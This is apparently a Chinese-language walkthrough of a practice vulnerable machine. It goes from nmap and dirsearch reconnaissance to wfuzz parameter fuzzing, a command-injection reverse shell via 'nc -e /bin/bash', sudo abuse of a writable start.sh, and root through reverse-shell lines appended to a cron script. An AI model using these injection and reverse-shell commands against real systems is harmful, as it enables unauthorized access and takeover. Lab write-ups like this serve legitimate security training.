靶机下载地址
信息收集
主机发现和端口扫描
攻击机网段192.168.31.0/24。
# 主机发现
nmap 192.168.31.0/24 -Pn -T4
# 靶机ip:192.168.31.207 端口扫描
nmap 192.168.31.207 -A -p- -T4
经过nmap扫描发现目标主机有http服务,端口是8080。
目录扫描
访问http服务(注意添加端口8080再访问)。
首页访问首先弹出弹窗,输入框默认值是guest,多次尝试后发现这个nickname没什么影响,直接默认值访问。
进入首页后是一个类似于留言框的东西,但是下面的输入框没有提交按钮无法提交。
F12检查页面,在<head>中发现一些js文件和代码。
看过js代码后没什么发现,主要内容是弹窗和对用户输入框内容最大接收长度的。代码过长没啥重要内容就不展示全部。
// ask user for name with popup prompt
var name = prompt("Enter your nickname:", "guest");
// default name is 'Guest'
if (!name || name === ' ') {
name = "guest";
}
// strip tags
name = name.replace(/(<([^>]+)>)/ig,"");
// display name on page
$("#name-area").html("You are: <span>" + name + "</span>");
访问chat.js看看代码,写了几个函数,看过函数内容后发现都与process.php有关。
访问/process.php。空数组?没有线索。
卡住了,还是使用工具进行目录扫描,想办法在其他目录找到线索。
dirsearch -u http://192.168.31.170:8080 -i 200,301
扫出新路径/administration.php和/start.sh。
访问/start.sh,文件内容如下:
php -S 0.0.0.0:8080
访问/administration.php。页面文字翻译是:你不被允许查看,并且你的行为被记录了。这里应该是可以进行命令执行的,但是缺少参数。
遍历枚举参数
使用wfuzz工具枚举/administration.php的参数。wfuzz一般用于请求参数参数类的模糊测试,也可以用来做目录扫描、http请求方法测试等操作。WFUZZ使用教程-CSDN博客
wfuzz -c -u http://192.168.31.170:8080/administration.php?FUZZ=1 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hh 65
-
-c:带颜色输出
-
-u:指定url
-
-w:指定字典
-
--h:隐藏字符为65的响应
补充:wfuzz自带的字典不够强大,爆不出来就换字典,这里用的是seclists字典(含有渗透测试可能用到的字典),有些kali版本默认是没有安装该字典的,安装即可sudo apt install seclists。安装完成后,字典位置是/usr/share/seclists/。
getshell
枚举出参数logfile,试一下命令执行看看有没有回显命令执行结果。
无回显,命令应该是执行了的,尝试反弹shell。
?logfile=whoami;nc -e /bin/bash 192.168.31.218 6666
nc -lvvp 6666
python3 -c 'import pty;pty.spawn("/bin/bash")'
getshell。当前权限低且经过信息收集没有找到flag和有用信息,在家目录发现存在用户julia,想办法拿到julia的shell进一步渗透。
sudo提权
sudo -l
根据命令结果发现/var/www/html/start.sh可以用于提权到julia用户。再看看start.sh的权限,有编辑权限,就可以向start.sh写入/bin/bash,执行start.sh时即可拿到julia的shell。
echo '/bin/bash' >> start.sh
sudo -u julia /bin/bash /var/www/html/start.sh
信息收集,找到user.txt。
Cronjobs提权
在定时任务中找到可以用于提权的脚本/var/cron/check.sh。并且该脚本每时每刻都会运行,检查该脚本权限,有编辑权限,向该脚本追加反弹shell即可拿到root shell。
有很多反弹shell的方式。
# 1
echo 'bash -i >& /dev/tcp/192.168.31.218/8888 0>&1' >> /var/cron/check.sh
# 2
echo "nc 192.168.31.218 8888 -e /bin/bash" >> /var/cron/check.sh
找到root flag🎆